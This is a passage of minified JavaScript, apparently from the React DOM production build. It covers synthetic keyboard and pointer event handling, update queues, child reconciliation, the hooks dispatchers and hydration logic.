t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}var Qr={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},Jr={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},ei=Sr.extend({key:function(e){if(e.key){var t=Qr[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=Kr(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?Jr[e.keyCode]||"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,getModifierState:Er,charCode:function(e){return"keypress"===e.type?Kr(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?Kr(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}}),ti=zr.extend({dataTransfer:null}),ni=Sr.extend({touches:null,targetTouches:null,changedTouches:null,altKey:null,metaKey:null,ctrlKey:null,shiftKey:null,getModifierState:Er}),ri=qn.extend({propertyName:null,elapsedTime:null,pseudoElement:null}),ii=zr.extend({deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:null,deltaMode:null}),ai={eventTypes:jt,extractEvents:function(e,t,n,r){var i=Ft.get(e);if(!i)return null;switch(e){case"keypress":if(0===Kr(n))return null;case"keydown":case"keyup":e=ei;break;case"blur":case"focus":e=Xr;break;case"click":if(2===n.button)return null;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":e=zr;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":e=ti;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":e=ni;break;case Ue:case $e:case Ge:e=Gr;break;case Ze:e=ri;break;case"scroll":e=Sr;break;case"wheel":e=ii;break;case"copy":case"cut":case"paste":e=Zr;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":e=Dr;break;default:e=qn}return jn(t=e.getPooled(i,t,n,r)),t}};if(y)throw Error(o(101));y=Array.prototype.slice.call("ResponderEventPlugin SimpleEventPlugin EnterLeaveEventPlugin ChangeEventPlugin SelectEventPlugin BeforeInputEventPlugin".split(" ")),x(),p=Nn,m=En,v=Cn,T({SimpleEventPlugin:ai,EnterLeaveEventPlugin:Rr,ChangeEventPlugin:Mr,SelectEventPlugin:$r,BeforeInputEventPlugin:sr});var oi=[],si=-1;function li(e){0>si||(e.current=oi[si],oi[si]=null,si--)}function ui(e,t){si++,oi[si]=e.current,e.current=t}var ci={},fi={current:ci},hi={current:!1},di=ci;function pi(e,t){var n=e.type.contextTypes;if(!n)return ci;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i,a={};for(i in n)a[i]=t[i];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=a),a}function mi(e){return null!==(e=e.childContextTypes)&&void 0!==e}function vi(){li(hi),li(fi)}function gi(e,t,n){if(fi.current!==ci)throw Error(o(168));ui(fi,t),ui(hi,n)}function yi(e,t,n){var r=e.stateNode;if(e=t.childContextTypes,"function"!==typeof r.getChildContext)return n;for(var a in r=r.getChildContext())if(!(a in e))throw Error(o(108,ve(t)||"Unknown",a));return i({},n,{},r)}function bi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ci,di=fi.current,ui(fi,e),ui(hi,hi.current),!0}function xi(e,t,n){var r=e.stateNode;if(!r)throw Error(o(169));n?(e=yi(e,t,di),r.__reactInternalMemoizedMergedChildContext=e,li(hi),li(fi),ui(fi,e)):li(hi),ui(hi,n)}var wi=a.unstable_runWithPriority,ki=a.unstable_scheduleCallback,_i=a.unstable_cancelCallback,Mi=a.unstable_requestPaint,Si=a.unstable_now,Ti=a.unstable_getCurrentPriorityLevel,Oi=a.unstable_ImmediatePriority,Ei=a.unstable_UserBlockingPriority,Ci=a.unstable_NormalPriority,Ni=a.unstable_LowPriority,Pi=a.unstable_IdlePriority,Ai={},zi=a.unstable_shouldYield,Di=void 0!==Mi?Mi:function(){},Ii=null,Ri=null,ji=!1,Fi=Si(),Li=1e4>Fi?Si:function(){return Si()-Fi};function Bi(){switch(Ti()){case Oi:return 99;case Ei:return 98;case Ci:return 97;case Ni:return 96;case Pi:return 95;default:throw Error(o(332))}}function Vi(e){switch(e){case 99:return Oi;case 98:return Ei;case 97:return Ci;case 96:return Ni;case 95:return Pi;default:throw Error(o(332))}}function Hi(e,t){return e=Vi(e),wi(e,t)}function Wi(e,t,n){return e=Vi(e),ki(e,t,n)}function qi(e){return null===Ii?(Ii=[e],Ri=ki(Oi,Ui)):Ii.push(e),Ai}function Yi(){if(null!==Ri){var e=Ri;Ri=null,_i(e)}Ui()}function Ui(){if(!ji&&null!==Ii){ji=!0;var e=0;try{var t=Ii;Hi(99,(function(){for(;e<t.length;e++){var n=t[e];do{n=n(!0)}while(null!==n)}})),Ii=null}catch(n){throw null!==Ii&&(Ii=Ii.slice(e+1)),ki(Oi,Yi),n}finally{ji=!1}}}function $i(e,t,n){return 1073741821-(1+((1073741821-e+t/10)/(n/=10)|0))*n}function Gi(e,t){if(e&&e.defaultProps)for(var n in t=i({},t),e=e.defaultProps)void 0===t[n]&&(t[n]=e[n]);return t}var Zi={current:null},Xi=null,Ki=null,Qi=null;function Ji(){Qi=Ki=Xi=null}function ea(e){var t=Zi.current;li(Zi),e.type._context._currentValue=t}function ta(e,t){for(;null!==e;){var n=e.alternate;if(e.childExpirationTime<t)e.childExpirationTime=t,null!==n&&n.childExpirationTime<t&&(n.childExpirationTime=t);else{if(!(null!==n&&n.childExpirationTime<t))break;n.childExpirationTime=t}e=e.return}}function na(e,t){Xi=e,Qi=Ki=null,null!==(e=e.dependencies)&&null!==e.firstContext&&(e.expirationTime>=t&&(No=!0),e.firstContext=null)}function ra(e,t){if(Qi!==e&&!1!==t&&0!==t)if("number"===typeof t&&1073741823!==t||(Qi=e,t=1073741823),t={context:e,observedBits:t,next:null},null===Ki){if(null===Xi)throw Error(o(308));Ki=t,Xi.dependencies={expirationTime:0,firstContext:t,responders:null}}else Ki=Ki.next=t;return e._currentValue}var ia=!1;function aa(e){e.updateQueue={baseState:e.memoizedState,baseQueue:null,shared:{pending:null},effects:null}}function oa(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,baseQueue:e.baseQueue,shared:e.shared,effects:e.effects})}function sa(e,t){return(e={expirationTime:e,suspenseConfig:t,tag:0,payload:null,callback:null,next:null}).next=e}function la(e,t){if(null!==(e=e.updateQueue)){var n=(e=e.shared).pending;null===n?t.next=t:(t.next=n.next,n.next=t),e.pending=t}}function ua(e,t){var n=e.alternate;null!==n&&oa(n,e),null===(n=(e=e.updateQueue).baseQueue)?(e.baseQueue=t.next=t,t.next=t):(t.next=n.next,n.next=t)}function ca(e,t,n,r){var a=e.updateQueue;ia=!1;var o=a.baseQueue,s=a.shared.pending;if(null!==s){if(null!==o){var l=o.next;o.next=s.next,s.next=l}o=s,a.shared.pending=null,null!==(l=e.alternate)&&(null!==(l=l.updateQueue)&&(l.baseQueue=s))}if(null!==o){l=o.next;var u=a.baseState,c=0,f=null,h=null,d=null;if(null!==l)for(var p=l;;){if((s=p.expirationTime)<r){var m={expirationTime:p.expirationTime,suspenseConfig:p.suspenseConfig,tag:p.tag,payload:p.payload,callback:p.callback,next:null};null===d?(h=d=m,f=u):d=d.next=m,s>c&&(c=s)}else{null!==d&&(d=d.next={expirationTime:1073741823,suspenseConfig:p.suspenseConfig,tag:p.tag,payload:p.payload,callback:p.callback,next:null}),al(s,p.suspenseConfig);e:{var v=e,g=p;switch(s=t,m=n,g.tag){case 1:if("function"===typeof(v=g.payload)){u=v.call(m,u,s);break e}u=v;break e;case 3:v.effectTag=-4097&v.effectTag|64;case 0:if(null===(s="function"===typeof(v=g.payload)?v.call(m,u,s):v)||void 0===s)break e;u=i({},u,s);break e;case 2:ia=!0}}null!==p.callback&&(e.effectTag|=32,null===(s=a.effects)?a.effects=[p]:s.push(p))}if(null===(p=p.next)||p===l){if(null===(s=a.shared.pending))break;p=o.next=s.next,s.next=l,a.baseQueue=o=s,a.shared.pending=null}}null===d?f=u:d.next=h,a.baseState=f,a.baseQueue=d,ol(c),e.expirationTime=c,e.memoizedState=u}}function fa(e,t,n){if(e=t.effects,t.effects=null,null!==e)for(t=0;t<e.length;t++){var r=e[t],i=r.callback;if(null!==i){if(r.callback=null,r=i,i=n,"function"!==typeof r)throw Error(o(191,r));r.call(i)}}}var ha=X.ReactCurrentBatchConfig,da=(new r.Component).refs;function pa(e,t,n,r){n=null===(n=n(r,t=e.memoizedState))||void 0===n?t:i({},t,n),e.memoizedState=n,0===e.expirationTime&&(e.updateQueue.baseState=n)}var ma={isMounted:function(e){return!!(e=e._reactInternalFiber)&&Je(e)===e},enqueueSetState:function(e,t,n){e=e._reactInternalFiber;var r=Us(),i=ha.suspense;(i=sa(r=$s(r,e,i),i)).payload=t,void 0!==n&&null!==n&&(i.callback=n),la(e,i),Gs(e,r)},enqueueReplaceState:function(e,t,n){e=e._reactInternalFiber;var r=Us(),i=ha.suspense;(i=sa(r=$s(r,e,i),i)).tag=1,i.payload=t,void 0!==n&&null!==n&&(i.callback=n),la(e,i),Gs(e,r)},enqueueForceUpdate:function(e,t){e=e._reactInternalFiber;var n=Us(),r=ha.suspense;(r=sa(n=$s(n,e,r),r)).tag=2,void 0!==t&&null!==t&&(r.callback=t),la(e,r),Gs(e,n)}};function va(e,t,n,r,i,a,o){return"function"===typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,a,o):!t.prototype||!t.prototype.isPureReactComponent||(!Lr(n,r)||!Lr(i,a))}function ga(e,t,n){var r=!1,i=ci,a=t.contextType;return"object"===typeof a&&null!==a?a=ra(a):(i=mi(t)?di:fi.current,a=(r=null!==(r=t.contextTypes)&&void 0!==r)?pi(e,i):ci),t=new t(n,a),e.memoizedState=null!==t.state&&void 0!==t.state?t.state:null,t.updater=ma,e.stateNode=t,t._reactInternalFiber=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=i,e.__reactInternalMemoizedMaskedChildContext=a),t}function ya(e,t,n,r){e=t.state,"function"===typeof t.componentWillReceiveProps&&t.componentWillReceiveProps(n,r),"function"===typeof t.UNSAFE_componentWillReceiveProps&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&ma.enqueueReplaceState(t,t.state,null)}function ba(e,t,n,r){var i=e.stateNode;i.props=n,i.state=e.memoizedState,i.refs=da,aa(e);var a=t.contextType;"object"===typeof a&&null!==a?i.context=ra(a):(a=mi(t)?di:fi.current,i.context=pi(e,a)),ca(e,n,i,r),i.state=e.memoizedState,"function"===typeof(a=t.getDerivedStateFromProps)&&(pa(e,t,a,n),i.state=e.memoizedState),"function"===typeof t.getDerivedStateFromProps||"function"===typeof i.getSnapshotBeforeUpdate||"function"!==typeof i.UNSAFE_componentWillMount&&"function"!==typeof i.componentWillMount||(t=i.state,"function"===typeof i.componentWillMount&&i.componentWillMount(),"function"===typeof i.UNSAFE_componentWillMount&&i.UNSAFE_componentWillMount(),t!==i.state&&ma.enqueueReplaceState(i,i.state,null),ca(e,n,i,r),i.state=e.memoizedState),"function"===typeof i.componentDidMount&&(e.effectTag|=4)}var xa=Array.isArray;function wa(e,t,n){if(null!==(e=n.ref)&&"function"!==typeof e&&"object"!==typeof e){if(n._owner){if(n=n._owner){if(1!==n.tag)throw Error(o(309));var r=n.stateNode}if(!r)throw Error(o(147,e));var i=""+e;return null!==t&&null!==t.ref&&"function"===typeof t.ref&&t.ref._stringRef===i?t.ref:((t=function(e){var t=r.refs;t===da&&(t=r.refs={}),null===e?delete t[i]:t[i]=e})._stringRef=i,t)}if("string"!==typeof e)throw Error(o(284));if(!n._owner)throw Error(o(290,e))}return e}function ka(e,t){if("textarea"!==e.type)throw Error(o(31,"[object Object]"===Object.prototype.toString.call(t)?"object with keys {"+Object.keys(t).join(", ")+"}":t,""))}function _a(e){function t(t,n){if(e){var r=t.lastEffect;null!==r?(r.nextEffect=n,t.lastEffect=n):t.firstEffect=t.lastEffect=n,n.nextEffect=null,n.effectTag=8}}function n(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function r(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function i(e,t){return(e=Tl(e,t)).index=0,e.sibling=null,e}function a(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.effectTag=2,n):r:(t.effectTag=2,n):n}function s(t){return e&&null===t.alternate&&(t.effectTag=2),t}function l(e,t,n,r){return null===t||6!==t.tag?((t=Cl(n,e.mode,r)).return=e,t):((t=i(t,n)).return=e,t)}function u(e,t,n,r){return null!==t&&t.elementType===n.type?((r=i(t,n.props)).ref=wa(e,t,n),r.return=e,r):((r=Ol(n.type,n.key,n.props,null,e.mode,r)).ref=wa(e,t,n),r.return=e,r)}function c(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Nl(n,e.mode,r)).return=e,t):((t=i(t,n.children||[])).return=e,t)}function f(e,t,n,r,a){return null===t||7!==t.tag?((t=El(n,e.mode,r,a)).return=e,t):((t=i(t,n)).return=e,t)}function h(e,t,n){if("string"===typeof t||"number"===typeof t)return(t=Cl(""+t,e.mode,n)).return=e,t;if("object"===typeof t&&null!==t){switch(t.$$typeof){case ee:return(n=Ol(t.type,t.key,t.props,null,e.mode,n)).ref=wa(e,null,t),n.return=e,n;case te:return(t=Nl(t,e.mode,n)).return=e,t}if(xa(t)||me(t))return(t=El(t,e.mode,n,null)).return=e,t;ka(e,t)}return null}function d(e,t,n,r){var i=null!==t?t.key:null;if("string"===typeof n||"number"===typeof n)return null!==i?null:l(e,t,""+n,r);if("object"===typeof n&&null!==n){switch(n.$$typeof){case ee:return n.key===i?n.type===ne?f(e,t,n.props.children,r,i):u(e,t,n,r):null;case te:return n.key===i?c(e,t,n,r):null}if(xa(n)||me(n))return null!==i?null:f(e,t,n,r,null);ka(e,n)}return null}function p(e,t,n,r,i){if("string"===typeof r||"number"===typeof r)return l(t,e=e.get(n)||null,""+r,i);if("object"===typeof r&&null!==r){switch(r.$$typeof){case ee:return e=e.get(null===r.key?n:r.key)||null,r.type===ne?f(t,e,r.props.children,i,r.key):u(t,e,r,i);case te:return c(t,e=e.get(null===r.key?n:r.key)||null,r,i)}if(xa(r)||me(r))return f(t,e=e.get(n)||null,r,i,null);ka(t,r)}return null}function m(i,o,s,l){for(var u=null,c=null,f=o,m=o=0,v=null;null!==f&&m<s.length;m++){f.index>m?(v=f,f=null):v=f.sibling;var g=d(i,f,s[m],l);if(null===g){null===f&&(f=v);break}e&&f&&null===g.alternate&&t(i,f),o=a(g,o,m),null===c?u=g:c.sibling=g,c=g,f=v}if(m===s.length)return n(i,f),u;if(null===f){for(;m<s.length;m++)null!==(f=h(i,s[m],l))&&(o=a(f,o,m),null===c?u=f:c.sibling=f,c=f);return u}for(f=r(i,f);m<s.length;m++)null!==(v=p(f,i,m,s[m],l))&&(e&&null!==v.alternate&&f.delete(null===v.key?m:v.key),o=a(v,o,m),null===c?u=v:c.sibling=v,c=v);return e&&f.forEach((function(e){return t(i,e)})),u}function v(i,s,l,u){var c=me(l);if("function"!==typeof c)throw Error(o(150));if(null==(l=c.call(l)))throw Error(o(151));for(var f=c=null,m=s,v=s=0,g=null,y=l.next();null!==m&&!y.done;v++,y=l.next()){m.index>v?(g=m,m=null):g=m.sibling;var b=d(i,m,y.value,u);if(null===b){null===m&&(m=g);break}e&&m&&null===b.alternate&&t(i,m),s=a(b,s,v),null===f?c=b:f.sibling=b,f=b,m=g}if(y.done)return n(i,m),c;if(null===m){for(;!y.done;v++,y=l.next())null!==(y=h(i,y.value,u))&&(s=a(y,s,v),null===f?c=y:f.sibling=y,f=y);return c}for(m=r(i,m);!y.done;v++,y=l.next())null!==(y=p(m,i,v,y.value,u))&&(e&&null!==y.alternate&&m.delete(null===y.key?v:y.key),s=a(y,s,v),null===f?c=y:f.sibling=y,f=y);return e&&m.forEach((function(e){return t(i,e)})),c}return function(e,r,a,l){var u="object"===typeof a&&null!==a&&a.type===ne&&null===a.key;u&&(a=a.props.children);var c="object"===typeof a&&null!==a;if(c)switch(a.$$typeof){case ee:e:{for(c=a.key,u=r;null!==u;){if(u.key===c){switch(u.tag){case 7:if(a.type===ne){n(e,u.sibling),(r=i(u,a.props.children)).return=e,e=r;break e}break;default:if(u.elementType===a.type){n(e,u.sibling),(r=i(u,a.props)).ref=wa(e,u,a),r.return=e,e=r;break e}}n(e,u);break}t(e,u),u=u.sibling}a.type===ne?((r=El(a.props.children,e.mode,l,a.key)).return=e,e=r):((l=Ol(a.type,a.key,a.props,null,e.mode,l)).ref=wa(e,r,a),l.return=e,e=l)}return s(e);case te:e:{for(u=a.key;null!==r;){if(r.key===u){if(4===r.tag&&r.stateNode.containerInfo===a.containerInfo&&r.stateNode.implementation===a.implementation){n(e,r.sibling),(r=i(r,a.children||[])).return=e,e=r;break e}n(e,r);break}t(e,r),r=r.sibling}(r=Nl(a,e.mode,l)).return=e,e=r}return s(e)}if("string"===typeof a||"number"===typeof a)return a=""+a,null!==r&&6===r.tag?(n(e,r.sibling),(r=i(r,a)).return=e,e=r):(n(e,r),(r=Cl(a,e.mode,l)).return=e,e=r),s(e);if(xa(a))return m(e,r,a,l);if(me(a))return v(e,r,a,l);if(c&&ka(e,a),"undefined"===typeof a&&!u)switch(e.tag){case 1:case 0:throw e=e.type,Error(o(152,e.displayName||e.name||"Component"))}return n(e,r)}}var Ma=_a(!0),Sa=_a(!1),Ta={},Oa={current:Ta},Ea={current:Ta},Ca={current:Ta};function Na(e){if(e===Ta)throw Error(o(174));return e}function Pa(e,t){switch(ui(Ca,t),ui(Ea,e),ui(Oa,Ta),e=t.nodeType){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:je(null,"");break;default:t=je(t=(e=8===e?t.parentNode:t).namespaceURI||null,e=e.tagName)}li(Oa),ui(Oa,t)}function Aa(){li(Oa),li(Ea),li(Ca)}function za(e){Na(Ca.current);var t=Na(Oa.current),n=je(t,e.type);t!==n&&(ui(Ea,e),ui(Oa,n))}function Da(e){Ea.current===e&&(li(Oa),li(Ea))}var Ia={current:0};function Ra(e){for(var t=e;null!==t;){if(13===t.tag){var n=t.memoizedState;if(null!==n&&(null===(n=n.dehydrated)||"$?"===n.data||"$!"===n.data))return t}else if(19===t.tag&&void 0!==t.memoizedProps.revealOrder){if(0!==(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}function ja(e,t){return{responder:e,props:t}}var Fa=X.ReactCurrentDispatcher,La=X.ReactCurrentBatchConfig,Ba=0,Va=null,Ha=null,Wa=null,qa=!1;function Ya(){throw Error(o(321))}function Ua(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!jr(e[n],t[n]))return!1;return!0}function $a(e,t,n,r,i,a){if(Ba=a,Va=t,t.memoizedState=null,t.updateQueue=null,t.expirationTime=0,Fa.current=null===e||null===e.memoizedState?go:yo,e=n(r,i),t.expirationTime===Ba){a=0;do{if(t.expirationTime=0,!(25>a))throw Error(o(301));a+=1,Wa=Ha=null,t.updateQueue=null,Fa.current=bo,e=n(r,i)}while(t.expirationTime===Ba)}if(Fa.current=vo,t=null!==Ha&&null!==Ha.next,Ba=0,Wa=Ha=Va=null,qa=!1,t)throw Error(o(300));return e}function Ga(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===Wa?Va.memoizedState=Wa=e:Wa=Wa.next=e,Wa}function Za(){if(null===Ha){var e=Va.alternate;e=null!==e?e.memoizedState:null}else e=Ha.next;var t=null===Wa?Va.memoizedState:Wa.next;if(null!==t)Wa=t,Ha=e;else{if(null===e)throw Error(o(310));e={memoizedState:(Ha=e).memoizedState,baseState:Ha.baseState,baseQueue:Ha.baseQueue,queue:Ha.queue,next:null},null===Wa?Va.memoizedState=Wa=e:Wa=Wa.next=e}return Wa}function Xa(e,t){return"function"===typeof t?t(e):t}function Ka(e){var t=Za(),n=t.queue;if(null===n)throw Error(o(311));n.lastRenderedReducer=e;var r=Ha,i=r.baseQueue,a=n.pending;if(null!==a){if(null!==i){var s=i.next;i.next=a.next,a.next=s}r.baseQueue=i=a,n.pending=null}if(null!==i){i=i.next,r=r.baseState;var l=s=a=null,u=i;do{var c=u.expirationTime;if(c<Ba){var f={expirationTime:u.expirationTime,suspenseConfig:u.suspenseConfig,action:u.action,eagerReducer:u.eagerReducer,eagerState:u.eagerState,next:null};null===l?(s=l=f,a=r):l=l.next=f,c>Va.expirationTime&&(Va.expirationTime=c,ol(c))}else null!==l&&(l=l.next={expirationTime:1073741823,suspenseConfig:u.suspenseConfig,action:u.action,eagerReducer:u.eagerReducer,eagerState:u.eagerState,next:null}),al(c,u.suspenseConfig),r=u.eagerReducer===e?u.eagerState:e(r,u.action);u=u.next}while(null!==u&&u!==i);null===l?a=r:l.next=s,jr(r,t.memoizedState)||(No=!0),t.memoizedState=r,t.baseState=a,t.baseQueue=l,n.lastRenderedState=r}return[t.memoizedState,n.dispatch]}function Qa(e){var t=Za(),n=t.queue;if(null===n)throw Error(o(311));n.lastRenderedReducer=e;var r=n.dispatch,i=n.pending,a=t.memoizedState;if(null!==i){n.pending=null;var s=i=i.next;do{a=e(a,s.action),s=s.next}while(s!==i);jr(a,t.memoizedState)||(No=!0),t.memoizedState=a,null===t.baseQueue&&(t.baseState=a),n.lastRenderedState=a}return[a,r]}function Ja(e){var t=Ga();return"function"===typeof e&&(e=e()),t.memoizedState=t.baseState=e,e=(e=t.queue={pending:null,dispatch:null,lastRenderedReducer:Xa,lastRenderedState:e}).dispatch=mo.bind(null,Va,e),[t.memoizedState,e]}function eo(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},null===(t=Va.updateQueue)?(t={lastEffect:null},Va.updateQueue=t,t.lastEffect=e.next=e):null===(n=t.lastEffect)?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function to(){return Za().memoizedState}function no(e,t,n,r){var i=Ga();Va.effectTag|=e,i.memoizedState=eo(1|t,n,void 0,void 0===r?null:r)}function ro(e,t,n,r){var i=Za();r=void 0===r?null:r;var a=void 0;if(null!==Ha){var o=Ha.memoizedState;if(a=o.destroy,null!==r&&Ua(r,o.deps))return void eo(t,n,a,r)}Va.effectTag|=e,i.memoizedState=eo(1|t,n,a,r)}function io(e,t){return no(516,4,e,t)}function ao(e,t){return ro(516,4,e,t)}function oo(e,t){return ro(4,2,e,t)}function so(e,t){return"function"===typeof t?(e=e(),t(e),function(){t(null)}):null!==t&&void 0!==t?(e=e(),t.current=e,function(){t.current=null}):void 0}function lo(e,t,n){return n=null!==n&&void 0!==n?n.concat([e]):null,ro(4,2,so.bind(null,t,e),n)}function uo(){}function co(e,t){return Ga().memoizedState=[e,void 0===t?null:t],e}function fo(e,t){var n=Za();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Ua(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function ho(e,t){var n=Za();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Ua(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function po(e,t,n){var r=Bi();Hi(98>r?98:r,(function(){e(!0)})),Hi(97<r?97:r,(function(){var r=La.suspense;La.suspense=void 0===t?null:t;try{e(!1),n()}finally{La.suspense=r}}))}function mo(e,t,n){var r=Us(),i=ha.suspense;i={expirationTime:r=$s(r,e,i),suspenseConfig:i,action:n,eagerReducer:null,eagerState:null,next:null};var a=t.pending;if(null===a?i.next=i:(i.next=a.next,a.next=i),t.pending=i,a=e.alternate,e===Va||null!==a&&a===Va)qa=!0,i.expirationTime=Ba,Va.expirationTime=Ba;else{if(0===e.expirationTime&&(null===a||0===a.expirationTime)&&null!==(a=t.lastRenderedReducer))try{var o=t.lastRenderedState,s=a(o,n);if(i.eagerReducer=a,i.eagerState=s,jr(s,o))return}catch(l){}Gs(e,r)}}var vo={readContext:ra,useCallback:Ya,useContext:Ya,useEffect:Ya,useImperativeHandle:Ya,useLayoutEffect:Ya,useMemo:Ya,useReducer:Ya,useRef:Ya,useState:Ya,useDebugValue:Ya,useResponder:Ya,useDeferredValue:Ya,useTransition:Ya},go={readContext:ra,useCallback:co,useContext:ra,useEffect:io,useImperativeHandle:function(e,t,n){return n=null!==n&&void 0!==n?n.concat([e]):null,no(4,2,so.bind(null,t,e),n)},useLayoutEffect:function(e,t){return no(4,2,e,t)},useMemo:function(e,t){var n=Ga();return t=void 0===t?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Ga();return t=void 0!==n?n(t):t,r.memoizedState=r.baseState=t,e=(e=r.queue={pending:null,dispatch:null,lastRenderedReducer:e,lastRenderedState:t}).dispatch=mo.bind(null,Va,e),[r.memoizedState,e]},useRef:function(e){return e={current:e},Ga().memoizedState=e},useState:Ja,useDebugValue:uo,useResponder:ja,useDeferredValue:function(e,t){var n=Ja(e),r=n[0],i=n[1];return io((function(){var n=La.suspense;La.suspense=void 0===t?null:t;try{i(e)}finally{La.suspense=n}}),[e,t]),r},useTransition:function(e){var t=Ja(!1),n=t[0];return t=t[1],[co(po.bind(null,t,e),[t,e]),n]}},yo={readContext:ra,useCallback:fo,useContext:ra,useEffect:ao,useImperativeHandle:lo,useLayoutEffect:oo,useMemo:ho,useReducer:Ka,useRef:to,useState:function(){return Ka(Xa)},useDebugValue:uo,useResponder:ja,useDeferredValue:function(e,t){var n=Ka(Xa),r=n[0],i=n[1];return ao((function(){var n=La.suspense;La.suspense=void 0===t?null:t;try{i(e)}finally{La.suspense=n}}),[e,t]),r},useTransition:function(e){var t=Ka(Xa),n=t[0];return t=t[1],[fo(po.bind(null,t,e),[t,e]),n]}},bo={readContext:ra,useCallback:fo,useContext:ra,useEffect:ao,useImperativeHandle:lo,useLayoutEffect:oo,useMemo:ho,useReducer:Qa,useRef:to,useState:function(){return Qa(Xa)},useDebugValue:uo,useResponder:ja,useDeferredValue:function(e,t){var n=Qa(Xa),r=n[0],i=n[1];return ao((function(){var n=La.suspense;La.suspense=void 0===t?null:t;try{i(e)}finally{La.suspense=n}}),[e,t]),r},useTransition:function(e){var t=Qa(Xa),n=t[0];return t=t[1],[fo(po.bind(null,t,e),[t,e]),n]}},xo=null,wo=null,ko=!1;function _o(e,t){var n=Ml(5,null,null,0);n.elementType="DELETED",n.type="DELETED",n.stateNode=t,n.return=e,n.effectTag=8,null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function Mo(e,t){switch(e.tag){case 5:var n=e.type;return null!==(t=1!==t.nodeType||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t)&&(e.stateNode=t,!0);case 6:return null!==(t=""===e.pendingProps||3!==t.nodeType?null:t)&&(e.stateNode=t,!0);case 13:default:return!1}}function So(e){if(ko){var t=wo;if(t){var n=t;if(!Mo(e,t)){if(!(t=wn(n.nextSibling))||!Mo(e,t))return e.effectTag=-1025&e.effectTag|2,ko=!1,void(xo=e);_o(xo,n)}xo=e,wo=wn(t.firstChild)}else e.effectTag=-1025&e.effectTag|2,ko=!1,xo=e}}function To(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;xo=e}function Oo(e){if(e!==xo)return!1;if(!ko)return To(e),ko=!0,!1;var t=e.type;if(5!==e.tag||"head"!==t&&"body"!==t&&!yn(t,e.memoizedProps))for(t=wo;t;)_o(e,t),t=wn(t.nextSibling);if(To(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(o(317));e:{for(e=e.nextSibling,t=0;e;){if(8===e.nodeType){var n=e.data;if("/$"===n){if(0===t){wo=wn(e.nextSibling);break e}t--}else"$"!==n&&"$!"!==n&&"$?"!==n||t++}e=e.nextSibling}wo=null}}else wo=xo?wn(e.stateNode.nextSibling):null;return!0}function Eo(){wo=xo=null,ko=!1}var Co=X.ReactCurrentOwner,No=!1;function Po(e,t,n,r){t.child=null===e?Sa(t,null,n,r):Ma(t,e.child,n,r)}function Ao(e,t,n,r,i){n=n.render;var a=t.ref;return 